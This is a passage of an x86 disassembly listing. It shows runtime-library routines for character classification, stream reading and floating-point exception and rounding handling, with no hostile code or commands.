		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 265037Ah
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


